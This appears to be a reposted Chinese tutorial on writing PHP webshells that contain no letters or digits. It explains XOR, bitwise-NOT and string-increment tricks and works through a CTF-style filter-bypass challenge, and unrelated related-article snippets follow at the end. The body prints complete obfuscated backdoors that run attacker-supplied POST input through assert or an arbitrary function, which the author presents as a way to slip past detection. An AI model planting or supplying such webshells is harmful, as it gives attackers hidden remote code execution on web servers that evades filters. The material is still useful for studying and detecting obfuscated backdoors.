如何構造不包含字母和數字的webshell

利用不含字母與數字進行繞過

1.異或進行繞過

?2.取反進行繞過

?3.利用php語法繞過


利用不含字母與數字進行繞過

基本代碼運行思路理解?

<?php
? ? echo "A"^"`";
?>

運行結果為!

我們可以看到,輸出的結果是字符"!"。之所以會得到這樣的結果,是因為代碼中對字符"A"和字符"`"進行了異或操作。在PHP中,兩個變量進行異或時,先會將字符串轉換成ASCII值,再將ASCII值轉換成二進制再進行異或,異或完,又將結果從二進制轉換成了ASCII值,再將ASCII值轉換成字符串。異或操作有時也被用來交換兩個變量的值。

那么什么是異或操作呢

在php中,異或操作是兩個二進制數相同時,異或為0,不同為1

比如像上面這個例子

A的ASCII值是65,對應的二進制值是0100 0001

`的ASCII值是96,對應的二進制值是0110 0000

異或的二進制的值是00100001,對應的ASCII值是33,對應的字符串的值就是!了

我們都知道,PHP是弱類型的語言,也就是說在PHP中我們可以不預先聲明變量的類型,而直接聲明一個變量并進行初始化或賦值操作。正是由于PHP弱類型的這個特點,我們對PHP的變類型進行隱式的轉換,并利用這個特點進行一些非常規的操作。如將整型轉換成字符串型,將布爾型當作整型,或者將字符串當作函數來處理,下面我們來看一段代碼:

??<?php
? ? function B(){
? ? ? ? echo "Hello Angel_Kitty";
? ? }
? ? $_++;
? ? $__= "?" ^ "}";
? ? $__();
?>

執行結果為:Hello Angel_Kitty

我們一起來分析一下上面這段代碼:

$_++;這行代碼的意思是對變量名為"_"的變量進行自增操作,在PHP中未定義的變量默認值為null,null==false==0,我們可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字。 $__="?" ^ "}";對字符"?"和"}"進行異或運算,得到結果B賦給變量名為"__"(兩個下劃線)的變量 $ __ ();通過上面的賦值操作,變量$__的值為B,所以這行可以看作是B(),在PHP中,這行代碼表示調用函數B,所以執行結果為Hello Angel_Kitty。在PHP中,我們可以將字符串當作函數來處理。 看到這里,相信大家如果再看到類似的PHP后門應該不會那么迷惑了,你可以通過一句句的分析后門代碼來理解后門想實現的功能。

我們希望使用這種后門創建一些可以繞過檢測的并且對我們有用的字符串,如_POST"\, "system"\, "call_user_func_array",或者是任何我們需要的東西。

下面是個非常簡單的非數字字母的PHP后門:

?<?php
????@$_++;?//?$_?=?1
????$__=("#"^"|");?//?$__?=?_
????$__.=("."^"~");?//?_P
????$__.=("/"^"`");?//?_PO
????$__.=("|"^"/");?//?_POS
????$__.=("{"^"/");?//?_POST?
????${$__}[!$_](${$__}[$_]);?//?$_POST[0]($_POST[1]);
?>

那么我們現在來做一道題

這道題需要我們執行getFlag函數,通過GET傳參,并對code參數進行了字母大小寫和數字過濾

這道題就可以用異或操作來繞過

1.異或進行繞過

<?php
include 'flag.php';
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
<?php
function getFlag(){echo "{bypass successfully!}";
}
?>

payload如下:

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

"`{{{"^"?<>/"的結果是"_GET",所以${$_}[_]()=$_GET[_](),而此時_=getFlag

所以直接就執行了getFlag(),拿到flag

?2.取反進行繞過

下面是一段代碼進行原理理解:

?payload:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();


?3.利用php語法繞過

利用簡單實例理解原理:

利用php語法規則

這就得借助PHP的一個小技巧,先看文檔: http://php.net/manual/zh/language.operators.increment.php

在處理字符變量的算數運算時,PHP 沿襲了 Perl 的習慣,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 將把 $a 變成'AA',而在 C 中,a = 'Z'; a++; 將把 a 變成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符變量只能遞增,不能遞減,并且只支持純字母(a-z 和 A-Z)。遞增/遞減其他字符變量則無效,原字符串沒有變化。

也就是說,'a'++ => 'b','b'++ => 'c'... 所以,我們只要能拿到一個變量,其值為a,通過自增操作即可獲得a-z中所有字符。

那么,如何拿到一個值為字符串'a'的變量呢?

巧了,數組(Array)的第一個字母就是大寫A,而且第4個字母是小寫a。也就是說,我們可以同時拿到小寫和大寫A,等于我們就可以拿到a-z和A-Z的所有字母。

在PHP中,如果強制連接數組和字符串的話,數組將被轉換成字符串,其值為Array:

avatar

再取這個字符串的第一個字母,就可以獲得'A'了。

利用這個技巧,我編寫了如下webshell(因為PHP函數是大小寫不敏感的,所以我們最終執行的是ASSERT($POST[]),無需獲取小寫a)

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

payload:

?code=$啊="@@^|@@@"^"'%*:,!'";$啊();

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/42734.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/42734.shtml
英文地址,請注明出處:http://en.pswp.cn/news/42734.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

C++:字符串哈希

字符串哈希 給定一個長度為 n n n的字符串&#xff0c;再給定 m m m個詢問&#xff0c;每個詢問包含四個整數 l 1 , r 1 , l 2 , r 2 l_1,r_1,l_2,r_2 l1?,r1?,l2?,r2?&#xff0c;請你判斷 [ l 1 , r 1 ] [l_1,r_1] [l1?,r1?]和 [ l 2 , r 2 ] [l_2,r_2] [l2?,r2?]這…

“深入理解Java虛擬機(JVM):背后的工作原理解析“

標題&#xff1a;深入理解Java虛擬機&#xff08;JVM&#xff09;&#xff1a;背后的工作原理解析 摘要&#xff1a;本文將深入探討Java虛擬機&#xff08;JVM&#xff09;的工作原理&#xff0c;包括內存管理、垃圾回收、即時編譯器等關鍵概念&#xff0c;以及如何優化代碼以…

React 18 更新 state 中的數組

參考文章 更新 state 中的數組 數組是另外一種可以存儲在 state 中的 JavaScript 對象&#xff0c;它雖然是可變的&#xff0c;但是卻應該被視為不可變。同對象一樣&#xff0c;當想要更新存儲于 state 中的數組時&#xff0c;需要創建一個新的數組&#xff08;或者創建一份已…

vue2,使用element中的Upload 上傳文件,自定義上傳http-request上傳,上傳附件支持多選,多個文件只發送一次請求

復制直接使用&#xff0c;組件根據multiple是否多選來返回附件內容&#xff0c;支持多選就返回數據附件&#xff0c;則返回一個附件對象。 //uploadFiles.vue<template><div><el-uploadclass"avatar-uploader"action"#":accept"accep…

對比 VPN 與遠程桌面軟件,為什么遠程桌面更優越

數字格局不斷演變&#xff0c;我們的工作和連接方式也在不斷變化。企業紛紛轉向遠程運營&#xff0c;有關推進向遠程過渡的最佳技術的爭論從未停止。爭論的焦點通常是虛擬專用網絡&#xff08;VPN&#xff09;和遠程桌面軟件。 長期以來&#xff0c;VPN 一直被用作訪問公司網絡…

Linux上,出現依賴無法下載時,如何解決?

1.vim 編輯 /etc/profile 文件&#xff1a; vim /etc/hosts刪除/etc/hosts文件中已有的內容&#xff0c;添加如下內容&#xff0c; 140.82.112.3 github.com&#xff1a;wq保存退出&#xff1b; 2.使配置生效 systemctl restart network然后&#xff0c;就可以愉快&#x1…

【C++】函數指針

2023年8月18日&#xff0c;周五上午 今天在B站看Qt教學視頻的時候遇到了 目錄 語法和typedef或using結合我的總結 語法 返回類型 (*指針變量名)(參數列表)以下是一些示例來說明如何聲明不同類型的函數指針&#xff1a; 聲明一個不接受任何參數且返回void的函數指針&#xf…

【Flink】Flink窗口觸發器

數據進入到窗口的時候,窗口是否觸發后續的計算由窗口觸發器決定,每種類型的窗口都有對應的窗口觸發機制。WindowAssigner 默認的 Trigger通常可解決大多數的情況。我們通常使用方式如下,調用trigger()方法把我們想執行觸發器傳遞進去: SingleOutputStreamOperator<Produ…

kubernetes--技術文檔--基本概念--《10分鐘快速了解》

官網主頁&#xff1a; Kubernetes 什么是k8s Kubernetes 也稱為 K8s&#xff0c;是用于自動部署、擴縮和管理容器化應用程序的開源系統。 它將組成應用程序的容器組合成邏輯單元&#xff0c;以便于管理和服務發現。Kubernetes 源自Google 15 年生產環境的運維經驗&#xff0c…

《一個操作系統的實現》windows用vm安裝CentOS——從bochs環境搭建到第一個demo跑通

vm安裝CentOS虛擬機帶有桌面的版本。su輸入密碼123456。更新yum -y update 。一般已經安裝好后面這2個工具&#xff1a;yum install -y net-tools wget。看下ip地址ifconfig&#xff0c;然后本地終端連接ssh root192.168.249.132輸入密碼即可&#xff0c;主要是為了復制網址方便…

Netty+springboot開發即時通訊系統筆記(四)終

實時性 1.線程池多線程&#xff0c;把消息同步給其他端和對方用戶&#xff0c;其中數據持久化往往是最浪費時間的操作&#xff0c;可以使用mq異步存儲&#xff0c;因為其他業務不需要拿著整條數據&#xff0c;只需要這條數據的id進行操作。 2。消息校驗前置&#xff0c;放在t…

Vim的插件管理器之Vundle

1、安裝Vundle插件管理器 Vim可以安裝插件&#xff0c;但是需要手動安裝比較麻煩&#xff0c;Vim本身沒有提供插件管理器&#xff0c;所以會有很多的第三方的插件管理器&#xff0c;有一個vim的插件叫做 “vim-easymotion”&#xff0c;在它的github的安裝說明里有列出對于不同…

GRPC 學習記錄

GRPC 安裝 安裝 grpcio、grpcio-tools、protobuf、 pip install grpcio -i https://pypi.tuna.tsinghua.edu.cn/simple pip install grpcio-tools -i https://pypi.tuna.tsinghua.edu.cn/simple pip install protobuf -i https://pypi.tuna.tsinghua.edu.cn/simple常用類型 p…

Minio知識點+linux下安裝+面試總結

一 Minio簡介 MinIO 是一個基于Apache License v2.0開源協議的對象存儲服務。它兼容亞馬遜S3云存儲服務接口&#xff0c;非常適合于存儲大容量非結構化的數據&#xff0c;例如圖片、視頻、日志文件、備份數據和容器/虛擬機鏡像等&#xff0c;而一個對象文件可以是任意大小&…

Apache Doris 入門教程31:計算節點

需求場景? 目前Doris是一個典型Share-Nothing的架構, 通過綁定數據和計算資源在同一個節點獲得非常好的性能表現. 但隨著Doris計算引擎性能持續提高, 越來越多的用戶也開始選擇使用Doris直接查詢數據湖數據. 這類場景是一種Share-Disk場景, 數據往往存儲在遠端的HDFS/S3上, 計…

msvcp110.dll是什么意思,msvcp110.dll丟失的解決方法

裝好軟件或游戲之后&#xff0c;一打開就跳出各種報錯信息的情況小伙伴一定見過&#xff0c;其中缺少各種msvcp110.dll文件最常見。小伙伴們一定奇怪&#xff0c;用得好好的電腦&#xff0c;怎么會缺文件呢&#xff1f;為啥其他游戲/應用就沒事呢&#xff1f;其實這些“丟失”的…

visual studio 2022配置

前提&#xff1a;我linux c 開發 一直在使用vscode 更新了個版本突然代碼中的查找所用引用和變量修改名稱不能用了&#xff0c;嘗試了重新配置clang vc都不行&#xff0c;估計是插件問題&#xff0c;一怒之下改用visual studio 2022 為了同步2個IDE之間的差別&#xff0c;目前…

QT的核心——信號與槽

目錄 回顧C 語言信號 1、信號與槽 2、關聯信號與槽 2.1自動關聯信號與槽 2.2手動關聯信號與槽 2.3斷開信號與槽 3、自定義信號 3.1自定義信號使用條件 3.2自定義槽函數使用條件 4、信號與槽參數傳遞 4.1自定義一個帶參的信號 4.2關聯帶參的信號與槽 4.3發送一個帶…

YOLOv5、YOLOv8改進:S2注意力機制

目錄 1.簡介 2.YOLOv5改進 2.1增加以下S2-MLPv2.yaml文件 2.2common.py配置 2.3yolo.py配置 1.簡介 S2-MLPv2注意力機制 最近&#xff0c;出現了基于 MLP 的視覺主干。與 CNN 和視覺Transformer相比&#xff0c;基于 MLP 的視覺架構具有較少的歸納偏差&#xff0c;在圖像識…

LVS-DR+keepalived實現高可用負載群集

VRRP 通信原理&#xff1a; VRRP就是虛擬路由冗余協議&#xff0c;它的出現就是為了解決靜態路由的單點故障。 VRRP是通過一種競選的一種協議機制&#xff0c;來將路由交給某臺VRRP路由。 VRRP用IP多播的方式&#xff08;多播地址224.0.0.18&#xff09;來實現高可用的通信&…